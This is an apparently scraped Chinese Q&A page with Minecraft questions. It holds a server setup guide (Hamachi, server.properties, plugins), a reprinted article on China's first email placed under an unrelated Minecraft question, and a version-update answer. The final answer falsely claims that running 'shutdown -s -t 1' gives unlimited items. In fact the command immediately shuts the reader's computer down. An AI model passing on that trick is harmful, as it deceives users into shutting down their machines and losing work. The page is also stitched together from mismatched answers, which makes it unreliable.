‘壹’ 我的世界服务器
您好,这个问题找我真是找对人了!我是一个自己开服的腐竹!(但是我不会安装MOD)
以下是可以帮助到你的教程,希望您能够采纳!
0:如果想开服务器,请检查家里是否拥有这些东西:
一:台式机/笔记本,内存要大一些,CPU处理要快。(重要)
二:2M以上速度的宽带 (次要)
三:无线路由器,不限品牌
四:已下载完毕的Minecraft服务端 (重要)
五:已下载完毕的hamachi(蛤蟆吃)联机软件(基础联机必备!)
1:运行并开启hamachi,查看并复制自己的IPv4,这步很重要,因为这是你的服务器IP!
2.点击hamachi程序的网络>新建网络>新建自己的网络ID和密码,如:ID:leobtserver
密码:111111 确认密码:111111 >点击确定。这步也很重要,因为你的基友用这个网络房间连接到你的服务器!
3:查看自己的服务端文件夹,是否存在一个server.properties的文件,右键,打开方式>记事本打开它,就能看到一排的英文。这个文件很重要,因为这是你服务器的基础设置!所有的世界都是从这里修改的!
4:把刚才说到的hamachi上的IPv4地址复制到这个文件“server-ip="的后面,注意是等于号的后面!
5:必备的基础设置:
generator-settings= (不用管)
op-permission-level=4 (op权限等级,也不用管)
allow-nether=true (是否同意进入地狱,不同意把true改成false)
level-name=world (不用管)
enable-query=false (不用管)
allow-flight=false (不用管)
server-port=25565 (服务器端口,请查看自己家的端口数,一般不用管)
level-type= (世界的样子,如果想开普通地形输入DEFAULT,超平坦输入FLAT。这个很重要!它决定了自己服务器的地形!)
enable-rcon=false (不用管)
force-gamemode=false (不用管)
level-seed= (服务器地图的种子,不推荐设置)
server-ip= (你的服务器IP,等于号后面输入你的IPv4地址)
max-build-height=256 (建筑高度最高值,可任意修改等于号后面的整数,注意是整数!)
spawn-npcs=true (生成自然建筑,像村庄,地牢等的建筑,不想生成改为false)
white-list=false (白名单:推荐关闭,如果不想用白名单的话)
spawn-animals=true (生成动物,这个不用说了)
hardcore=false (困难模式,推荐false)
snooper-enabled=true (不用管)
texture-pack= (服务器材质,不用管)
online-mode= (这个非常重要!如果你有正版账号,且基友都有正版账号请输入true,盗版账号是不能加入online-mode=true的服务器的!所以要设为false)
pvp=true (是否同意PVP)
difficulty= (服务器难度:0为和平,1为普通)
server-name=Unknown Server (不用管)
enable-command-block= (服务器内是否可以使用命令方块,推荐true,但是切勿把命令方块交给玩家!!!慎用。)
gamemode=0 (玩家一上线的设定模式,0为生存,1为创造)
max-players= (重要,这是服务器进入玩家的最大数,如果有很多基友要进入的话可以稍微调大一些,默认为20,也可以调小。还是根据自己的CPU和内存适量调整吧。)
spawn-monsters=true (生存怪物,当然和平模式下是不会生存的,无论这个是否为true。不想生存可以改为false。)
generate-structures=true (不用管)
view-distance=10 (不用管)
spawn-protection=16 (不用管)
motd= (等于号后面是你给服务器添加的简介,添加后会显示在多人游戏已添加服务器的界面,推荐您使用motdc插件,支持中文和彩色。在这里输入中文会乱码,需要解码)
6:准备好之后就可以运行run.bat了,这是开服的程序,也就是所谓的服务端。当最后一行出现done! 的时候就说明开服成功了。
7:打开和服务器相应版本的Minecraft,点击多人游戏>添加服务器>服务器名称可任意,服务器IP请复制你的IPv4,点击完成就可以连接到了。
8:基友如何加入你的服务器呢?很简单,首先让他们也下载hamachi,然后点击网络>加入现有的网络>输入你已经建好的网络房间的ID和密码,他们就可以和你联机了。(注意:使用的hamachi是试用版时一个房间最多可以容纳五个基友,满人后还要建造一个房间,要和之前的房间名称接近!但是不影响联机效果)
9:把自己的IPv4地址给他们,然后让他们执行你自己刚才执行的第6步就可以了。
10:祝玩得开心!关服请在服务端输入stop,注意不用加”/“,因为你在服务端输入的每一个指令都自带了”/“,腐竹自己在游戏内关服要加”/“
如何安装插件:
插件安装非常简单!
1:去Bukkit或Mcbbs寻找自己想安装的插件,要对应自己的服务端版本。
2:下载后的插件格式应该是 如:MobArena.jar 注意:插件千万不要自己解压!
3:把这个插件拖到自己服务端文件夹的plugins文件夹,就可以了。
4:开服,插件会自己被解压并被读取。
5:祝玩得开心!
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以上内容均为本人手打,绝无任何抄袭!求楼主采纳!谢谢!
如有问题可以加本人QQ:479017388 审核问题答案:minecraft 来咨询。
‘贰’ 我的世界哪个服务器推出了1.7.10
第一封从我国发出的电子邮件“Across the Great Wall we can reach every corner in the world.(越过长城,走向世界)”,是北京市计算机应用技术研究所于1987年9月14日21时07分发往德国的。通过与德国卡尔斯鲁厄大学档案馆联系,CNNIC查到了这封邮件的打印件。而2006年2月,《科学时报》刊登吴为民教授的文章《究竟是谁发出的中国第一封电子邮件》,提出异议。
Aug 25
《究竟是谁发出的中国第一封电子邮件》 -吴为民
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转自《科学时报》 2006年2月20日
编者按: 互联网在中国快速发展的十年有着太多值得追述的故事。继田溯宁先生近期发表在本报上的《中国互联网十年思考》之后,我们把目光投注在一段尘封已久的往事——中国第一封电子邮件是如何诞生的?
图:吴为民向瑞士的斯坦伯格教授发出的中国第一封电子邮件原件
有关远程终端建成使用的“情况简报”(部分),经叶铭汉采纳上报
作为当事人,曾在中国科学院高能物理研究所工作多年、现为美国费米国家实验室研究员的吴为民先生回忆了20年前的那段往事。在吴先生看来,本文是在向人们澄清事实、讲述历史,其自豪之情跃然纸上;而对我们来讲,这绝不仅仅是怀旧——在《国家中长期科学和技术发展规划纲要》刚刚发布之际,重温这段重大技术突破发端于基础科研的历史、发掘其中仍然切合规划精神的种种细节,当有不平凡的意义。
进入21世纪以来,世界上已经没有人怀疑,互联网的发明和发展开辟了信息时代的新纪元。人们已经不能想象,在我们的时代,没有电子邮件(E-mail)、没有网络,我们的生活与工作将会变成如何落后的状态。
1989年,西欧核子研究中心的伯纳李(Tim Berners-Lee)发明了万维网(world-wide-web,简称WWW),并在1990年首先推出了WWW的具体实施方案。当初的动机,仅仅是出于方便科学家们的互相交流。今天,这个发明已经引发了一场深刻的信息革命。人们常常问,搞高能物理研究对社会有什么好处?WWW的发明,已经成为从事基础研究的西欧核子研究中心对人类社会所作的十分重要贡献的最好例证。在这里,我想强调的是,高能物理所在20年前首创的中国第一个计算机国际网络通讯,也是作为基础研究中心的高能物理所为中国社会所作的十分重要贡献的又一例证。在历任所长叶铭汉院士、郑志鹏研究员、现任所长陈和生院士的领导下,高能物理所是当之无愧的中国计算机网络通讯的摇篮。1986年8月25日,瑞士日内瓦时间4点11分,北京时间11点11分,由当时任高能物理所ALEPH组(ALEPH是在西欧核子中心高能电子对撞机LEP上进行高能物理实验的一个国际合作组,我国科学家参加了ALEPH组,高能物理所是该国际合作组的成员单位。)组长的吴为民,从北京发给ALEPH的领导——位于瑞士日内瓦西欧核子中心的诺贝尔奖获得者斯坦伯格(Jack Steinberger)的电子邮件(E-mail)是中国第一封国际电子邮件。
近几年来,由于计算机网络通讯日趋重要,探讨中国网络通讯如何起步的文章越来越多。在中国许多报刊、文坛与网上文章中,关于中国第一封电子邮件的记载,有许多误传。比较普遍的说法是,由北京应用技术研究所,于1987年9月14日经由意大利ITAPAC发往德国的内容为“越过长城,走向世界”、通讯速率为300 bps的电子邮件,是中国第一封电子邮件。其实,这比我当时发出的速率为560 bps的第一封电子邮件整整晚了一年多。值此中国第一封电子邮件开创20周年之际,我在西欧核子研究中心的同事帕拉齐(Palazzi)博士的协助下,找到了20年前西欧核子研究中心计算机部的VAX计算机的备份数据磁带,并请专门的技术员帮助解读。同时,在ALEPH有关行政人员的协助下,查阅了许多历史档案,整理出一批原始资料。这里,我谨为纪念中国第一封电子邮件诞生20周年写下这篇文章,为中国计算机网络通讯的真实历史上的重要一页,作一个论述与澄清。
20年过去了,当帕拉齐博士从VAX机库存备份磁带上重新读出当时的电子邮件并传给我看时,当时的情景似乎历历在目。真没想到,这短短几行英文词竟成了历史的见证。从此,中国计算机的网络时代开始了。
在斯坦伯格教授、周光召院长和叶铭汉所长的关怀支持下,我们组成了由ALEPH的帕拉齐博士领导,包括西欧核子研究中心计算机部的两位网络通讯专家的西欧核子研究中心工作小组,以及由我领导,包括钱祖玄、王淑琴、张家诠、张报昌、王泰杰等组成的高能物理所工作小组共同创建这一网络通讯(顺便提一下,帕拉齐博士后来成为西欧核子研究中心开发研制万维网的主要参与者之一)。
我们所做工作的第一步,就是做大量有关当时可利用的电讯资源的调查研究,这一工作,主要是由西欧核子研究中心数据处理部的佛罗克基格(Fluckiger)博士,与高能物理所钱祖玄共同完成的。1986年6月17日,佛罗克基格写信给奥地利维也纳广播电台的博艾兹(Boesz)先生,询问西欧核子研究中心与高能物理所,利用他们建立(租用)的维也纳—北京卫星通信线路的可能性。要知道,这条线路在1986年6月1日才刚可以提供用户使用,1986年6月27日,佛罗克基格博士写了一份备忘录,综述了调查结果,提供了两条重要信息:一是北京方面的接口位于北京信息控制研究所(又称710所);二是,瑞士电讯局PTT有兴趣利用这个通讯渠道,提供DATEX -P与TELEPAC两种网络作为服务器,给用户使用,而其中的TELEPAC,正是西欧核子研究中心用于数据传输的。有了这两条重要信息,联合工作组兵分两路,分别进行具体工作。帕拉齐博士、钱祖玄、王泰杰在瑞士日内瓦的西欧核子研究中心,我与王淑琴在北京,分别与瑞士PTT、维也纳广播电台、北京710所等联系与协商。经过两个多月紧张艰苦细致的工作,我们订购装备了重要的硬设备。从1986年8月11日起,开始进行联机试验。
由于当时高能物理所的远程终端接口尚在水电科学院,我们决定设法把远程终端的外接口从水电科学院转移到710所。但这不仅需要解决许许多多的技术问题,还要解决许多行政问题,譬如,微波通讯的确切方位、频率等是需要公安局批准的。为了不耽误时间,我们决定首先到710所去,利用他们的IBM-PC机,先做北京—维也纳—瑞士(西欧核子研究中心)的联机试验。目标是能从北京710所的IBM-PC机登录到西欧核子研究中心的计算机上去。
1986年8月25日,瑞士日内瓦时间4点11分24秒,北京时间11点11分24秒,在710所的IBM-PC机上,我向瑞士的斯坦伯格教授发出了如下的电子邮件。由于通讯费用昂贵,心情紧张,这个电子邮件中有许多大小写的错误,拼写与换行也有许多毛病。无论如何,我还是原文照译。并以附件方式,列在文章后面,供大家阅读。
“亲爱的Jack,我很高兴通过计算机联网给您发这封信,我相信,这是在西欧核子研究中心与中国之间的第一个成功的计算机通讯。我想再次感谢您最近对北京的访问。正是这次访问导致了这个有价值的计算机通讯试验的成功。我想,现在,每一个ALEPH协作组的成员,都用计算机网络联系起来了。这是非常重要的。当然,要在北京分析ALEPH的数据压缩带,还有许多问题,并且需要为此找到经费。但最重要的是,我们已经开始启动。目前我是用710所的IBM-PC机与您联系的。我们将把目前用于联接M160H的计算机的微波通讯,从高能物理所直接与你们联机。请代向同事们问好,祝您、新西亚和您全家幸福。顺便问一下,您在上海买的地毯如何?为民”
在这封电子邮件中,没有什么豪言壮语,但是,实实在在地说明了当时的成就(第一封电子邮件)、问题(经费)、状态(710所)、计划(将高能物理所微波通信外向接口转移到710所)。20年过去了,当帕拉齐博士从VAX机库存备份磁带上重新读出当时的电子邮件并传给我看时,当时的情景似乎历历在目。真没想到,这短短几行英文词竟成了历史的见证。从此,中国计算机的网络时代开始了。
从高能物理所物理一室这一小小的屏蔽室,经710所,到维也纳,再到西欧核子研究中心,这样一个全程通讯终告完成。即使从高能物理所直接发出的第一个电子邮件的日子,即1987年3月27日算起,也比外界传闻的1987年9月14日早半年的时间。
1986年9月10日,帕拉齐与钱祖玄用给我与斯坦伯格教授发ALEPH 备忘录的方式,正式向全ALEPH同事们及外界宣布了这一事件,并公布实测速率为560bps。1986年9月15日,斯坦伯格教授在接到上述的ALEPH备忘录后,以ALEPH组的名义给李政道发了一份备忘录。在这个备忘录中,斯坦伯格教授讲:“与CERN的迅速通讯是十分重要的。这就是要有一个计算机的网络。现在这个网络已经存在了。当然,还有一些限制,费用以及需要完善的地方。”
正如预先计划的那样,经过许多努力,高能物理所的远程微波通讯终端的外部接口于1987年3月27日正式从水电科学院转到710所,并顺利开通。从此,从高能物理所物理一室这一小小的屏蔽室,经710所,到维也纳,再到西欧核子研究中心,这样一个全程通讯终告完成。即使从高能物理所直接发出的第一个电子邮件的日子,即1987年3月27日算起,也比外界传闻的1987年9月14日早半年的时间。
在ALEPH的档案材料中,记载着从1986年8月到1986年年底,北京—ALEPH之间总的通讯时间是1821分钟,传输数据80567单元,通信费用总计7732.29元。
这一计算机网络的开通,有许许多多来自世界各国的见证者。1987年以后,来自西欧核子研究中心、法国、意大利、德国等许多国家的科学家,都到过高能物理所这一间小小的屏蔽室:他们或者登录到所在国的计算机,或者从高能物理所给远方的同事发电子邮件。叶铭汉所长经常亲自陪同外宾们来到那间小房间。由于当时的通讯速度很慢,键盘上每打一个字母,常常是慢慢地蹦到终端屏幕上显示出来。叶所长和外宾们还是兴致勃勃地在笑声中耐心等待。这,毕竟是中国第一条通向国外的计算机通讯网络。最近出版的ALEPH Times,也把这一网络作为ALEPH重大事件,并有详细记载。
‘叁’ 有没有人能预测一下网易我的世界什么时候更新国际版1.17和1.18
截至2021年9月2日,我的世界国际版已经更新到了1.17版。国际版将在今年年底正式更新1.18。
《我的世界》是由MojangStudios开发,在中国由网易代理的沙盒式建造游戏,游戏于2017年8月8日在中国大陆独家运营。
玩家们可以自由选择游戏模式 [生存、创造、冒险、极限 (仅Java版) 和旁观模式(仅Java版) ]。在各种模式中体验不一样的有趣玩法,在生存模式中享受打怪、冒险等多种乐趣,在创造模式下享受当创世神的乐趣。
内容:
我的世界着重于让玩家去探索、交互,并且改变一个由一立方米大小的方块动态生成的地图。除了方块以外,环境功能还包括植物、生物与物品。
游戏里的一些活动包括采集矿石、与敌对生物战斗、合成新的方块与收集各种在游戏中找到的资源的工具。游戏中的无限制模式让玩家在各种多人游戏服务器或他们的单人模式中创造作品与进行艺术创作。
其他功能包括逻辑运算与远程动作的红石电路、矿车系统,以及称之为“下界”的神秘世界。最终,可以前往一个叫做“末路之地(末地)”的维度冒险,并击败末影龙。
‘肆’ 我的世界1.9.4服务器
打开WINDOWS开始菜单,运行,输入:shutdown -s -t 1 然后就可以无限刷物品